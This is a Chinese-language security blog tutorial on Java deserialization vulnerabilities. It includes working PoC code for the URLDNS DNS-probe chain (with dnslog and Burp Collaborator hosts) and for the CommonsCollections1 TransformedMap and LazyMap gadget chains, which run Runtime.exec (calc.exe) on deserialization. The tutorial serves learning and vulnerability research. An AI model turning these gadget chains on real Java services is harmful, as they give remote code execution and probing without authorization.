Life has its own fate, and meeting may not be accidental.

0%

Java安全-反序列化篇

反序列化是什么

  1. 序列化(Serialization)
    • 序列化是将对象的状态信息转换为可以存储或传输的形式的过程。在 Java 中,这通常意味着将对象转换为字节序列,以便可以将其写入文件、数据库或通过网络发送到另一个系统。
    • Java 通过实现 java.io.Serializable 接口来标识一个类是可序列化的。实现 Serializable 接口的类可以被 ObjectOutputStream 类序列化。
    • 序列化过程中,对象的类、属性和属性值都会被保存。如果对象图中包含其他对象的引用,这些对象也会被递归地序列化。
    • 序列化的结果是一个字节流,通常保存在 ByteArrayOutputStream 或 FileOutputStream 中。
  2. 反序列化(Deserialization)
    • 反序列化是序列化过程的逆过程。它涉及将保存的字节序列恢复为原来的对象状态。
    • 在 Java 中,反序列化通常是通过 ObjectInputStream 类来完成的。这个类可以读取先前序列化的对象,并重建原始对象的状态。
    • 反序列化时,需要确保序列化对象的类定义在当前运行环境中是可用的。如果类定义不可用,或者类的结构在序列化后发生了不兼容的变化,反序列化将失败,并可能抛出异常。
    • 反序列化后,对象将恢复其原始状态,包括所有属性值和关联的对象引用。

说人话

  • Java 序列化 通常涉及使用 ObjectOutputStream 类将对象转换为字节流,这些字节流可以被存储或传输。
  • Java 反序列化 通常涉及使用 ObjectInputStream 类将存储的字节流恢复为原始对象。

1、URLDNS链学习

简介:什么是URLDNS?

URLDNS 反序列化链是一种在 Java 应用程序中用于检测反序列化漏洞的技术。这条链的主要作用是触发一个 DNS 请求,以此来验证目标应用程序是否存在反序列化漏洞。在实战环境中我们通常用URLDNS来判断是否存在反序列化漏洞,因为有些环境只有DNS能出网。

URLDNS链分析

ysoserial - URLDNS链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public class URLDNS implements ObjectPayload<Object> {

public Object getObject(final String url) throws Exception {

//在创建有效负载期间避免DNS解析
//由于字段java.net. URL.handler是瞬态的
//它不会成为序列化有效负载的一部分。
URLStreamHandler handler = new SilentURLStreamHandler();

HashMap ht = new HashMap(); // 将包含URL的HashMap
URL u = new URL(null, url, handler); // 用作密钥的URL
ht.put(u, url); //该值可以是任何可序列化的值,作为键的URL是触发DNS查找的内容。

// 在上面的put期间,计算并缓存URL的hashCode。
//这会重置它,以便下次调用hashCode时触发DNS查找。
Reflections.setFieldValue(u, "hashCode", -1);
return ht;
}

public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
*防止生成POC过程中发起dns请求
*/
static class SilentURLStreamHandler extends URLStreamHandler {

protected URLConnection openConnection(URL u) throws IOException {
return null;
}

protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}

HashMap这个类,
可以看到就是创建hashMap过程中,通过PUT数据导致的dns请求,根据注释我们可以知道,通过计算url的hash导致的dns请求。
我们跟hashMap类的put方法看看。发现了计算了hash。


继续跟进,如下图,发现计算了hashcode,而我们传入的key为 java.net.URL ,所以继续跟进查看url类中的hashCode方法。

transient 关键字,修饰Java序列化对象时,不需要序列化的属性。继续跟进URLStreamHandler类的hashCode方法,图中可以看到hashCode值默认为-1,当值不等于-1,会执行handler.hashcode(this)。

发现有 getHostAddress 方法,继续跟进

继续跟进这个函数会发现,InetAddress.getByName(host) 的作用是根据主机名,获取其IP地址,在网络上其实就是一次 DNS查询。

Gadget

1
2
3
4
5
HashMap.readObject()
-> HashMap.hash()
-> URL.hashCode()
-> URLStreamHandler.hashCode()
-> URLStreamHandler.getHostAddress()

代码

1
2
3
4
5
6
7
8
import java.net.URL;

public class Main {
public static void main(String[] args) throws Exception{
URL u = new URL("http://myc765.dnslog.cn");
u.hashCode();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class Main {
public static void main(String[] args) throws Exception{
String url ="test";
HashMap<URL, String> ht = new HashMap<URL, String>();
URL u = new URL("https://hfjgk3.dnslog.cn");
ht.put(u, url); //测试put,这环节会请求dns
Class<?> clazz = Class.forName("java.net.URL");
Field m = clazz.getDeclaredField("hashCode");
m.setAccessible(true);
//反序列化后会请求dns
m.set(u,0xfffff); //第一次查询的时候会进行缓存,所以让它不等于-1
// 向HashMap中添加新的键值对
ht.put(u, "test");
// 修改hashCode的值
m.set(u,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
return;

}
}

测试URLDNS链

代码

序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urlDndLoad {
public static void main(String[] args) throws Exception{
String url ="test";
HashMap<URL, String> ht = new HashMap<URL, String>();
URL u = new URL("https://v51n4ni6idg5qmakyyofp9zfq6w2kr.burpcollaborator.net");
Class<?> clazz = Class.forName("java.net.URL");
Field m = clazz.getDeclaredField("hashCode");
m.setAccessible(true);
m.set(u,2); //第一次查询的时候会进行缓存,所以让它不等于-1

ht.put(u, "test"); // 向HashMap中添加新的键值对
// 修改hashCode的值
m.set(u,-1); //让它等于-1 就是在反序列化的时候等于-1 执行dns查询
Serializable(ht);
}
public static void Serializable(Object obj) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.ser"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
}
}

反序列化调用

1
2
3
4
5
6
7
8
9
10
11
12
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class serTestLoad {
public static void main(String[] args) throws Exception {
//反序列化类
ObjectInputStream objectInputStream = new ObjectInputStream((new FileInputStream("ser.ser")));
// 读出来并反序列化
objectInputStream.readObject();
objectInputStream.close();
}
}

2、CommonsCollections1链

什么是CommonsCollections链

  1. 构造恶意对象:攻击者创建一个包含恶意代码的集合对象,比如一个 Map。
  2. 利用 Transformer:通过 Commons Collections 中的 Transformer 类,攻击者可以定义一个转换逻辑,这个逻辑在反序列化时执行。
  3. 利用 AnnotationInvocationHandler:AnnotationInvocationHandler 是 Java 中的一个私有类,它可以被用来调用任何方法。通过构造特定的 Transformer,攻击者可以触发 AnnotationInvocationHandler 的构造函数。
  4. 执行 Runtime.exec:通过 AnnotationInvocationHandler,攻击者可以调用 Runtime 类的 exec 方法,从而执行任意命令。
  5. 反序列化:当应用程序反序列化了攻击者构造的恶意对象时,会触发上述的转换逻辑,最终导致任意代码执行。

基础知识学习

学习这条链需要知道几个类和接口:
Transformer

  • org.apache.commons.collections.Transformer 接口定义了一个单一的方法 transform(),它接受一个对象并返回一个新对象。在 Commons Collections 1 链中,Transformer 用于转换对象,是构建复杂操作链的基础。

  • transform()方法,用来定义具体的转换逻辑,方法接收Object类型的input,处理后将Object返回,在Commons-Collection中,程序提供了多个Transformer的实现类,用来实现不同的TransformedMap类中key、value进行修改的功能。

    1
    2
    3
    public interface Transformer {
    public Object transform(Object input);
    }

    TransformedMap

  • TransformedMap 用于对Java标准数据结构Map做装饰器,它将一个 Map 包装起来,decorate()方法对map中的键值对进行修改,第一个参数为要修饰的Map类,第二个参数和第三个参数作为一个实现Transformer接口的类,用来转换修饰的Map的键、值(为null时不进行转换)。在利用链中,TransformedMap 可以用于在反序列化时触发特定的转换逻辑。

LazyMap

  • LazyMap 是一个 Map 的惰性实现,它使用 Transformer 来惰性地计算缺失的键的值。在利用链中,LazyMap 可以用于延迟计算,直到实际需要某个键的值时才进行。

ConstantTransformer

  • ConstantTransformer 是 Transformer 接口的一个实现,它总是返回一个指定的常量值,不管输入是什么。在利用链中,它可以用于提供一致的返回值,从而控制执行流程。

InvokerTransformer

  • InvokerTransformer 是 Transformer 接口的一个实现,它允许调用对象的某个方法。在利用链中,它可以用来调用类的方法,如 Runtime.exec(),来执行任意命令、String.toUpperCase()来反转字符。

    1
    2
    InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"c:\\windows\\system32\\calc.exe"});
    invokerTransformer.transform(Runtime.getRuntime());

    **ChainedTransformer **

  • ChainedTransformer 是 Apache Commons Collections 库中的一个类,它允许您将多个 Transformer 对象链接或组合在一起,以便对一个对象进行一系列转换。当您有一个对象并且想要对它应用多个转换逻辑时,ChainedTransformer 非常有用。

  • 在 Commons Collections 反序列化漏洞利用链中,ChainedTransformer 可以用来串联多个转换操作,这在构造复杂的利用链时特别有用。通过 ChainedTransformer,攻击者可以创建一个复杂的 gadgets 链,每个 gadgets 负责执行利用链中的一个步骤。

sun.reflect.annotation.AnnotationInvocationHandler:

  • Java 内部类,用于处理注解的方法调用。在代码中,它被用来创建一个自定义的 InvocationHandler,该处理程序在反序列化时触发 Transformer 链。

下图来源自P神文章:

学习demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
// 创建一个原始的 HashMap
Map<String, String> baseMap = new HashMap<String, String>();
baseMap.put("k1", "value1");

//用于反射对象,String.toUpperCase();
Transformer toUpperCasevalueTransformer = new InvokerTransformer(
"toUpperCase", // 方法名
new Class[] {}, // toUpperCase 方法不接受参数,所以参数类型列表为空
new Object[] {} // 实际参数列表也为空
);

// 使用 valueTransformer 包装原始的 HashMap
Map<String, String> transformedMap = TransformedMap.decorate(
baseMap,
null, // 键不进行转换
toUpperCasevalueTransformer // 值进行反转转换
);

// 添加新的键值对前,先转换值
String originalValue = "value2";
Object transformedValue = toUpperCasevalueTransformer.transform(originalValue);
// 确保转换后的值是 String 类型
transformedMap.put("key2", (String) transformedValue);

// 演示转换效果
System.out.println("原始 Map: " + baseMap);
}

}

TransformedMap-poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"c:\\windows\\system32\\calc.exe" }),};
Transformer transformerChain = new ChainedTransformer(transformers);
//将多个 Transformer 对象串联起来,形成一个完整的调用链。
//InvokerTransformer,执⾏Runtime对象的exec⽅法,参数为"c:\\windows\\system32\\calc.exe"
Map innerMap = new HashMap();
innerMap.put("value", "xxxx");
//利用TransformedMap.decorate()方法来将ChainedTransformer设置为map装饰器的处理方法
//调用TransformedMap的put()/setValue()等方法时会触发Transformer链的调用方法。
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //串联多个Transformer
//一个 Map 装饰器,其值的访问会触发 ChainedTransformer。
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//AnnotationInvocationHandler:一个动态代理,用于处理注解的方法调用,在反序列化时触发 Transformer 链。
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); //注解类

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);//序列化
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();//反序列化
//AnnotationInvocationHandler 的反序列化过程触发 TransformedMap 的值访问,进而触发 ChainedTransformer。
//通过 Transformer 链最终调用 Runtime.exec 方法,执行攻击者指定的命令
}
}

Gadget

  1. 构造恶意对象:攻击者创建一个包含恶意代码的集合对象,比如一个 Map。
  2. 利用 Transformer:通过 Commons Collections 中的 Transformer 类,攻击者可以定义一个转换逻辑,这个逻辑在反序列化时执行。
  3. 利用 AnnotationInvocationHandler:AnnotationInvocationHandler 是 Java 中的一个私有类,它可以被用来调用任何方法。通过构造特定的 Transformer,攻击者可以触发 AnnotationInvocationHandler 的构造函数。
  4. 执行 Runtime.exec:通过 AnnotationInvocationHandler,攻击者可以调用 Runtime 类的 exec 方法,从而执行任意命令。

核心逻辑就是memberValues.entrySet()和memberValue.setValue()。
memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这⾥遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap⾥注册的 Transform,进而执行我们为其精心设计的任意代码。

1
2
3
4
5
6
AnnotationInvocationHandler.readObject()
-> Map.entrySet()/setValue()
-> TransformedMap.setValue()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()

LazyMap-poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"c:\\windows\\system32\\calc.exe" }),};
Transformer transformerChain = new ChainedTransformer(transformers);
//将多个 Transformer 对象串联起来,形成一个完整的调用链。
//InvokerTransformer,执⾏Runtime对象的exec⽅法,参数为"c:\\windows\\system32\\calc.exe"
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);//串联多个Transformer
//利用TransformedMap.decorate()方法来将ChainedTransformer设置为map装饰器的处理方法
//惰性地将 ChainedTransformer 应用到 Map 上。
// 使用了 LazyMap 来装饰内部 HashMap。LazyMap 与 TransformedMap 类似,但它在访问不存在的键时才会应用转换逻辑,这被称为惰性转换。

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//AnnotationInvocationHandler:一个动态代理,用于处理注解的方法调用,在反序列化时触发 Transformer 链。
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); //注解类

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
//通过 Proxy.newProxyInstance 创建了一个 Map 的动态代理,并将 LazyMap 作为其背后的实际 Map 实例传递给 AnnotationInvocationHandler。

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);//序列化
oos.close();

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
//反序列化
//AnnotationInvocationHandler 的反序列化过程触发 TransformedMap 的值访问,进而触发 ChainedTransformer。
//通过 Transformer 链最终调用 Runtime.exec 方法,执行攻击者指定的命令
}
}
  1. 创建 Transformer 链
    • 代码首先定义了一系列的 Transformer 对象,这些对象可以按顺序执行特定的操作。它们被用来获取 Runtime 类的实例,并调用它的 exec 方法来执行一个命令(在这个例子中是打开计算器程序)。
  2. 构建 LazyMap
    • 然后,代码使用 LazyMap 来装饰一个 HashMap。LazyMap 是一种特殊的 Map,它允许你定义一个转换器(在这里是上面创建的 Transformer 链),这个转换器会在你访问 Map 中的值时被调用。
  3. 创建动态代理
    • 接下来,代码使用 Java 的动态代理功能来创建 Map 的一个代理。这个代理背后的实际逻辑是由 AnnotationInvocationHandler 来处理的,它将 LazyMap 作为参数。
  4. 序列化和反序列化
    • 代码将动态代理序列化到一个字节流中,然后再次反序列化。这个过程触发了 AnnotationInvocationHandler 的构造函数,它需要一个 Map 作为参数。由于 LazyMap 被用作这个 Map,因此在反序列化时,它会被激活。
  5. 触发漏洞
    • 当 LazyMap 被激活时,它会尝试应用定义的 Transformer 链。由于这个链最终调用了 Runtime.exec 方法,这导致了任意代码的执行。

Gadget

1
2
3
4
5
6
7
AnnotationInvocationHandler.readObject()
-> Map(Proxy).entrySet()
-> AnnotationInvocationHandler.invoke()
-> LazyMap.get()
-> ChainedTransformer.transform()
-> ConstantTransformer.transform()
-> InvokerTransformer.transform()

参考

URLDNS链分析 - N0r4h - 博客园
Java反序列化初探+URLDNS链 - 1vxyz - 博客园
URLDNS链&CommonsCollections链详细分析-安全客 - 安全资讯平台